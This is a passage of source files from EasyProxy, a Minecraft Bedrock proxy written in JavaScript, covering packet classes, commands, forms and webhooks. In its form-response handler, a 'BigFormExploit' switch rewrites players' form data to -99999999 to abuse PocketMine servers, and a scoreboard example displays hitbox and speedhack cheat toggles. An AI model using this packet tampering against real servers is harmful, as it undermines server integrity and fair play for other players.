23 | */ 24 | setUsername(name) 25 | { 26 | this.username=name; 27 | } 28 | 29 | /** 30 | * @param url {string} 31 | */ 32 | setAvatarUrl(url) 33 | { 34 | this.avatar_url=url; 35 | } 36 | 37 | /** 38 | * @param str {string} 39 | */ 40 | setContent(str) 41 | { 42 | this.content=str; 43 | } 44 | 45 | send() 46 | { 47 | request.open("POST", this.url); 48 | request.setRequestHeader('Content-type', 'application/json'); 49 | 50 | let data = {username: this.username, avatar_url: this.avatar_url, content: this.content}; 51 | 52 | request.send(JSON.stringify(data)); 53 | } 54 | } 55 | module.exports = WebHook; -------------------------------------------------------------------------------- /software/src/network/send/InventoryTransactionPacket.js: -------------------------------------------------------------------------------- 1 | const Item = require("../../item/Item"); 2 | module.exports = { 3 | name: "inventory_transaction", 4 | 5 | send(Player, packet) 6 | { 7 | let data = packet.params.transaction; 8 | if(data.transaction_type !== "normal")return; 9 | let itemData = data.actions; 10 | if(itemData[0].source_type !== "container" || itemData[1].source_type !== "container")return; 11 | if(itemData[0].inventory_id !== "inventory" || itemData[1].inventory_id !== "inventory")return; 12 | 13 | let oldItem = new Item({ 14 | window_id: 'inventory', 15 | slot: itemData[0].slot, 16 | item: itemData[0].new_item 17 | }); 18 | Player.getInventory().setItemBySlot(itemData[0].slot, oldItem); 19 | 20 | let newItem = new Item({ 21 | window_id: 'inventory', 22 | slot: itemData[1].slot, 23 | item: itemData[1].new_item 24 | }); 25 | Player.getInventory().setItemBySlot(itemData[1].slot, newItem); 26 | 27 | //console.log(packet.params.transaction.actions[0]) 28 | } 29 | } -------------------------------------------------------------------------------- /software/src/packet/SetPlayerGameTypePacket.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | class SetPlayerGameTypePacket 16 | { 17 | player; 18 | 19 | /** @param Player {Player} */ 20 | constructor(Player) 21 | { 22 | this.player=Player; 23 | } 24 | 25 | /** 26 | * @param gamemode {string} 27 | */ 28 | create(gamemode) 29 | { 30 | this.player.getBedrockPlayer().queue("set_player_game_type", { 31 | gamemode: gamemode 32 | }); 33 | } 34 | } 35 | 36 | module.exports = SetPlayerGameTypePacket; -------------------------------------------------------------------------------- /software/src/command/default/TransferCommand.js: -------------------------------------------------------------------------------- 1 | const Command = require('../Command'); 2 | const ServerInfo = require("../../ServerInfo"); 3 | const {EasyProxy} = require("../../EasyProxy"); 4 | const EasyProxyInfo = require("../../EasyProxyInfo"); 5 | const {ping} = require("bedrock-protocol"); 6 | const TextFormat = require("../../format/TextFormat"); 7 | const TransferPacket = require("../../packet/TransferPacket"); 8 | const {Player} = require("../../player/Player"); 9 | class ProxyCommand extends Command 10 | { 11 | constructor() { 12 | super("transfer", "Transfer to other server!"); 13 | } 14 | 15 | onRun(player, args) 16 | { 17 | if(!args[1])return player.sendMessage(TextFormat.prefix + "Please send server address!"); 18 | 19 | let transferAddress = args[1].toLowerCase(); 20 | let transferPort = parseInt(args[2]); 21 | 22 | if(!transferPort) transferPort = 19132; 23 | 24 | player.sendMessage(TextFormat.getPrefix() + TextFormat.GREEN + "You will be transferred in 5 seconds..."); 25 | player.transferWithProxy(transferAddress, transferPort); 26 | } 27 | } 28 | module.exports = ProxyCommand; -------------------------------------------------------------------------------- /software/src/packet/ToastRequestPacket.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | class ToastRequestPacket 16 | { 17 | player; 18 | 19 | /** @param Player {Player} */ 20 | constructor(Player) 21 | { 22 | this.player=Player; 23 | } 24 | 25 | /** 26 | * @param title 27 | * @param message 28 | */ 29 | create(title, message) 30 | { 31 | this.player.getBedrockPlayer().queue("toast_request", { 32 | title: title, 33 | message: message 34 | }); 35 | } 36 | } 37 | 38 | module.exports = ToastRequestPacket; -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2016 mhsjlw 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /software/src/packet/SetTimePacket.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | class SetTimePacket 16 | { 17 | player; 18 | time; 19 | 20 | /** @param Player {Player} */ 21 | constructor(Player) 22 | { 23 | this.player=Player; 24 | } 25 | 26 | /** 27 | * @param time {number} 28 | */ 29 | setTime(time) 30 | { 31 | this.time=time; 32 | } 33 | 34 | create() 35 | { 36 | this.player.getBedrockPlayer().queue("set_time", { 37 | time: this.time 38 | }); 39 | } 40 | } 41 | 42 | module.exports = SetTimePacket; -------------------------------------------------------------------------------- /software/src/utils/webhook/Webhook.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | const XMLHttpRequest = require('xhr2'); 16 | const request = new XMLHttpRequest(); 17 | class WebHook 18 | { 19 | url; 20 | 21 | data = {}; 22 | 23 | constructor(url) {this.url=url;} 24 | 25 | getURL() 26 | { 27 | return this.url; 28 | } 29 | 30 | send(msg) 31 | { 32 | request.open("POST", this.url); 33 | request.setRequestHeader('Content-type', 'application/json'); 34 | request.send(JSON.stringify(msg.getData())); 35 | } 36 | } 37 | module.exports = WebHook; -------------------------------------------------------------------------------- /software/src/network/send/ModalFormResponsePacket.js: -------------------------------------------------------------------------------- 1 | const Item = require("../../item/Item"); 2 | const FormID = require("../../form/FormID"); 3 | module.exports = { 4 | name: "modal_form_response", 5 | 6 | /** 7 | * @param player {Player} 8 | * @param packet {Packet} 9 | */ 10 | send(player, packet) 11 | { 12 | if(player.getPocketMineExploitManager().isBigFormExploit()){ 13 | let data = JSON.parse(packet.params.data); 14 | if(Array.isArray(data)){ 15 | let dataTemp = []; 16 | for (let i = 0; i < data.length; i++){ 17 | if(data[i] !== null) dataTemp.push(-99999999); 18 | } 19 | data = dataTemp; 20 | } 21 | packet.params.data = JSON.stringify(data); 22 | return; 23 | } 24 | 25 | /*** @type {Form}*/ 26 | let form = FormID.getFormDataByID(packet.params.form_id); 27 | if (!form)return; 28 | let player_form = form.getPlayer(); 29 | if(player_form !== player) return false; 30 | if(!packet.params.has_response_data)return false; 31 | form.handleCallable(packet.params.data); 32 | } 33 | } -------------------------------------------------------------------------------- /software/src/packet/LevelEventPacket.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | class LevelEventPacket 16 | { 17 | player; 18 | 19 | /** @param Player {Player} */ 20 | constructor(Player) 21 | { 22 | this.player=Player; 23 | } 24 | 25 | /** 26 | * @param event 27 | * @param position 28 | * @param data 29 | */ 30 | create(event, position, data = 0) 31 | { 32 | this.player.getBedrockPlayer().queue("level_event", { 33 | event: event, 34 | position: position, 35 | data: data 36 | }); 37 | } 38 | } 39 | 40 | module.exports = LevelEventPacket; -------------------------------------------------------------------------------- /software/src/item/Item.js: -------------------------------------------------------------------------------- 1 | class Item 2 | { 3 | obj; 4 | 5 | constructor(obj) 6 | { 7 | this.obj=obj; 8 | } 9 | 10 | /** 11 | * @return {number} 12 | */ 13 | getSlot() 14 | { 15 | return this.obj.slot; 16 | } 17 | 18 | /** 19 | * @return {number} 20 | */ 21 | getID() 22 | { 23 | return this.obj.item.network_id; 24 | } 25 | 26 | /** 27 | * @return {number} 28 | */ 29 | getCount() 30 | { 31 | return this.obj.item.count; 32 | } 33 | 34 | /** 35 | * @return {number} 36 | */ 37 | getMeta() 38 | { 39 | return this.obj.item.metadata; 40 | } 41 | 42 | /** 43 | * @return {number} 44 | */ 45 | getHasStackID() 46 | { 47 | return this.obj.item.has_stack_id; 48 | } 49 | 50 | /** 51 | * @return {number} 52 | */ 53 | getStackID() 54 | { 55 | return this.obj.item.stack_id; 56 | } 57 | 58 | /** 59 | * @return {Object} 60 | */ 61 | getExtraData() 62 | { 63 | return this.obj.item.extra; 64 | } 65 | 66 | getInitialObject() 67 | { 68 | return this.obj; 69 | } 70 | } 71 | module.exports = Item; -------------------------------------------------------------------------------- /software/src/format/TextFormat.js: -------------------------------------------------------------------------------- 1 | let ESCAPE = "§"; 2 | module.exports = { 3 | prefix: "§dEasyProxy §8| §f", 4 | 5 | BLACK: ESCAPE + "0", 6 | DARK_BLUE: ESCAPE + "1", 7 | DARK_GREEN: ESCAPE + "2", 8 | DARK_AQUA: ESCAPE + "3", 9 | DARK_RED: ESCAPE + "4", 10 | DARK_PURPLE: ESCAPE + "5", 11 | GOLD: ESCAPE + "6", 12 | GRAY: ESCAPE + "7", 13 | DARK_GRAY: ESCAPE + "8", 14 | BLUE: ESCAPE + "9", 15 | GREEN: ESCAPE + "a", 16 | AQUA: ESCAPE + "b", 17 | RED: ESCAPE + "c", 18 | LIGHT_PURPLE: ESCAPE + "d", 19 | YELLOW: ESCAPE + "e", 20 | WHITE: ESCAPE + "f", 21 | MINECOIN_GOLD: ESCAPE + "g", 22 | 23 | ESCAPE: "\xc2\xa7", //§ 24 | EOL: "\n", 25 | OBFUSCATED: ESCAPE + "k", 26 | BOLD: ESCAPE + "l", 27 | STRIKETHROUGH: ESCAPE + "m", 28 | UNDERLINE: ESCAPE + "n", 29 | ITALIC: ESCAPE + "o", 30 | 31 | getPrefix() 32 | { 33 | return this.prefix; 34 | }, 35 | 36 | setPrefix(value) 37 | { 38 | this.prefix = value; 39 | }, 40 | 41 | /** 42 | * Check value is null or void string 43 | * @param value {*} 44 | * @return {boolean} 45 | */ 46 | isset(value) 47 | { 48 | return value !== null; 49 | } 50 | } -------------------------------------------------------------------------------- /software/src/form/Form.js: -------------------------------------------------------------------------------- 1 | const FormID = require("./FormID"); 2 | const Logger = require("../logger/Logger"); 3 | 4 | class Form 5 | { 6 | type = "Unknown"; 7 | 8 | id; 9 | 10 | title; 11 | 12 | player; 13 | 14 | callable; 15 | 16 | 17 | constructor(callable = function () {Logger.error('Form send without callable function')}) 18 | { 19 | this.id=FormID.sendNextID(); 20 | this.callable=callable; 21 | } 22 | 23 | setTitle(value) 24 | { 25 | this.title=value; 26 | } 27 | setPlayer(player) 28 | { 29 | this.player=player; 30 | } 31 | 32 | getPlayer() 33 | { 34 | return this.player; 35 | } 36 | 37 | getCallable() 38 | { 39 | return this.callable; 40 | } 41 | 42 | handleCallable(data) 43 | { 44 | if(this.type === "form") data = parseInt(data); 45 | if(this.type === "custom_form") { 46 | let tempData = JSON.parse(data); 47 | let map = new Map(); 48 | for(let i = 0; i <= tempData.length; i++){ 49 | map.set(i, tempData[i]); 50 | } 51 | data = map; 52 | } 53 | this.callable(this.player, data); 54 | } 55 | } 56 | module.exports = Form; -------------------------------------------------------------------------------- /software/src/NetworkSession.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | class NetworkSession { 16 | player; 17 | 18 | address; 19 | port; 20 | 21 | /** 22 | * @param Player {Player} 23 | * @param address {string} 24 | * @param port {number} 25 | */ 26 | constructor(Player, address, port) { 27 | this.player = Player; 28 | this.address = address; 29 | this.port = port; 30 | } 31 | 32 | /** @returns {string} */ 33 | getRedirectAddress() { 34 | return this.address; 35 | } 36 | 37 | /** @returns {string} */ 38 | getRedirectPort() { 39 | return this.port; 40 | } 41 | } 42 | 43 | module.exports = {NetworkSession}; -------------------------------------------------------------------------------- /software/src/packet/SetDisplayObjectivePacket.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | class SetDisplayObjectivePacket 16 | { 17 | player; 18 | 19 | /** @param Player {Player} */ 20 | constructor(Player) 21 | { 22 | this.player=Player; 23 | } 24 | 25 | /** 26 | * @param name {string} 27 | */ 28 | create(name) 29 | { 30 | this.player.getBedrockPlayer().queue("set_display_objective", { 31 | display_slot: 'sidebar', 32 | objective_name: 'objective', 33 | display_name: name, 34 | criteria_name: 'dummy', 35 | sort_order: 0 36 | }); 37 | } 38 | } 39 | 40 | module.exports = SetDisplayObjectivePacket; -------------------------------------------------------------------------------- /software/src/packet/ModalFormRequestPacket.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | class ModalFormRequestPacket 16 | { 17 | player; 18 | form_id; 19 | data; 20 | 21 | /** @param Player {Player} */ 22 | constructor(Player) 23 | { 24 | this.player=Player; 25 | } 26 | 27 | /** 28 | * @param id {number} 29 | */ 30 | setFormID(id) 31 | { 32 | this.form_id=id; 33 | } 34 | 35 | /** 36 | * @param data {string} 37 | */ 38 | setData(data) 39 | { 40 | this.data=data; 41 | } 42 | 43 | getData() 44 | { 45 | return {name: "modal_form_request", params: {form_id: this.form_id, data: this.data}}; 46 | } 47 | } 48 | 49 | module.exports = ModalFormRequestPacket; -------------------------------------------------------------------------------- /software/src/packet/TransferPacket.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | class TransferPacket 16 | { 17 | player; 18 | server_address; 19 | port; 20 | 21 | /** @param Player {Player} */ 22 | constructor(Player) 23 | { 24 | this.player=Player; 25 | } 26 | 27 | /** 28 | * @param address {string} 29 | */ 30 | setServerAddress(address) 31 | { 32 | this.server_address=address; 33 | } 34 | 35 | /** 36 | * @param port {number} 37 | */ 38 | setPort(port) 39 | { 40 | this.port=port; 41 | } 42 | 43 | getData() 44 | { 45 | return {name: "transfer", params: {server_address: this.server_address, port: this.port}}; 46 | } 47 | } 48 | 49 | module.exports = TransferPacket; -------------------------------------------------------------------------------- /software/src/utils/webhook/Message.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | class Message 16 | { 17 | data = {}; 18 | 19 | constructor() {} 20 | 21 | /** 22 | * @param name {string} 23 | */ 24 | setUsername(name) 25 | { 26 | this.data.username=name; 27 | } 28 | 29 | /** 30 | * @param url {string} 31 | */ 32 | setAvatarUrl(url) 33 | { 34 | this.data.avatar_url=url; 35 | } 36 | 37 | /** 38 | * @param str {string} 39 | */ 40 | setContent(str) 41 | { 42 | this.data.content=str; 43 | } 44 | 45 | addEmbed(embed) 46 | { 47 | this.data.embeds.push(embed.getData()); 48 | } 49 | 50 | getData() 51 | { 52 | return this.data; 53 | } 54 | } 55 | module.exports = Message; -------------------------------------------------------------------------------- /software/src/packet/SetScorePacket.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | class SetScorePacket 16 | { 17 | player; 18 | 19 | /** @param Player {Player} */ 20 | constructor(Player) 21 | { 22 | this.player=Player; 23 | } 24 | 25 | /** 26 | * @param score {number} 27 | * @param value {string} 28 | */ 29 | create(score, value) 30 | { 31 | this.player.getBedrockPlayer().queue("set_score", { 32 | action: 'change', 33 | entries: [{ 34 | scoreboard_id: score, 35 | objective_name: 'objective', 36 | score: score, 37 | entry_type: 'fake_player', 38 | custom_name: value 39 | }] 40 | }); 41 | } 42 | } 43 | 44 | module.exports = SetScorePacket; -------------------------------------------------------------------------------- /software/src/player/HungerManager.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | class HungerManager 16 | { 17 | player; 18 | 19 | food; 20 | saturation; 21 | 22 | /** @param Player {Player} */ 23 | constructor(Player) 24 | { 25 | this.player = Player; 26 | this.food = this.player.food; 27 | this.saturation = this.player.saturation; 28 | } 29 | 30 | /** @returns {number} */ 31 | getFood() 32 | { 33 | return this.food; 34 | } 35 | 36 | /** @returns {number} */ 37 | getSaturation() 38 | { 39 | return this.saturation; 40 | } 41 | setFood(number) 42 | { 43 | this.food = number; 44 | } 45 | 46 | setSaturation(number) 47 | { 48 | this.saturation = number; 49 | } 50 | } 51 | 52 | module.exports = {HungerManager}; -------------------------------------------------------------------------------- /software/help/for-dev/ScoreboardExemple/src/Scoreboard/task/ScoreboardTask.js: -------------------------------------------------------------------------------- 1 | const Task = require('../../../../../../src/task/Task'); 2 | const TaskManager = require("../../../../../../src/task/TaskManager"); 3 | const ServerInfo = require("../../../../../../src/ServerInfo"); 4 | const EasyProxyInfo = require("../../../../../../src/EasyProxyInfo"); 5 | class ScoreboardTask extends Task 6 | { 7 | constructor(type, ticks, data) 8 | { 9 | super(type, ticks, data); 10 | } 11 | 12 | onRun() 13 | { 14 | let scoreboard = this.data[0]; 15 | let player = this.data[1]; 16 | scoreboard.setScoreboardName("§dEasyProxy"); 17 | scoreboard.addLine("§k"); 18 | scoreboard.addLine(" §d" + player.getName()); 19 | scoreboard.addLine(" §8| §fHitbox Enabled: §d" + player.getCheatManager().isHitbox()); 20 | scoreboard.addLine(" §8| §fSpeedhack Enabled: §d" + player.getCheatManager().isSpeedHack()); 21 | scoreboard.addLine("§a"); 22 | scoreboard.addLine(" §dProxyInfo"); 23 | scoreboard.addLine(" §8| §fPlayers: §d" + ServerInfo.getServer().getPlayers().length); 24 | scoreboard.addLine('§e'); 25 | scoreboard.addLine('§8§o' + EasyProxyInfo.Discord); 26 | 27 | player.setScoreboard(true); 28 | player.setScoreboardContent(scoreboard); 29 | 30 | scoreboard.send(); 31 | 32 | } 33 | } 34 | module.exports = ScoreboardTask; -------------------------------------------------------------------------------- /software/src/EasyProxy.js: -------------------------------------------------------------------------------- 1 | /** 2 